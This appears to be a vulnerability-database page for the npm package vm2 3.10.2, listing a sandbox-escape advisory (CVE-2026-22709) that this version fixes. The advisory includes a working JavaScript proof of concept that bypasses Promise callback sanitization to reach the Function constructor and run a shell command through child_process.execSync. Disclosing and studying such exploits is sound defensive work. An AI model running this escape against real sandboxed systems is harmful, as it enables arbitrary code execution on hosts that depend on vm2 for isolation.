Lookup for vulnerable packages by Package URL.
| Purl | pkg:npm/vm2@3.10.2 |
| Type | npm |
| Namespace | |
| Name | vm2 |
| Version | 3.10.2 |
| Qualifiers |
|
| Subpath | |
| Is_vulnerable | false |
| Next_non_vulnerable_version | null |
| Latest_non_vulnerable_version | null |
| Affected_by_vulnerabilities |
|
| Fixing_vulnerabilities |
| 0 |
| url |
VCID-gqm5-bhj5-k3cf |
| vulnerability_id |
VCID-gqm5-bhj5-k3cf |
| summary |
vm2 has a Sandbox Escape
In vm2 for version 3.10.0, `Promise.prototype.then` `Promise.prototype.catch` callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code.
```js
const { VM } = require("vm2");
const code = `
const error = new Error();
error.name = Symbol();
const f = async () => error.stack;
const promise = f();
promise.catch(e => {
const Error = e.constructor;
const Function = Error.constructor;
const f = new Function(
"process.mainModule.require('child_process').execSync('echo HELLO WORLD!', { stdio: 'inherit' })"
);
f();
});
`;
new VM().run(code);
```
In lib/setup-sandbox.js, the callback function of `localPromise.prototype.then` is sanitized, but `globalPromise.prototype.then` is not sanitized. The return value of async functions is `globalPromise` object. |
| references |
|
| fixed_packages |
|
| aliases |
CVE-2026-22709, GHSA-99p7-6v5w-7xg8
|
| risk_score |
null |
| exploitability |
null |
| weighted_severity |
null |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-gqm5-bhj5-k3cf |
|
|
| Risk_score | null |
| Resource_url | http://public2.vulnerablecode.io/packages/pkg:npm/vm2@3.10.2 |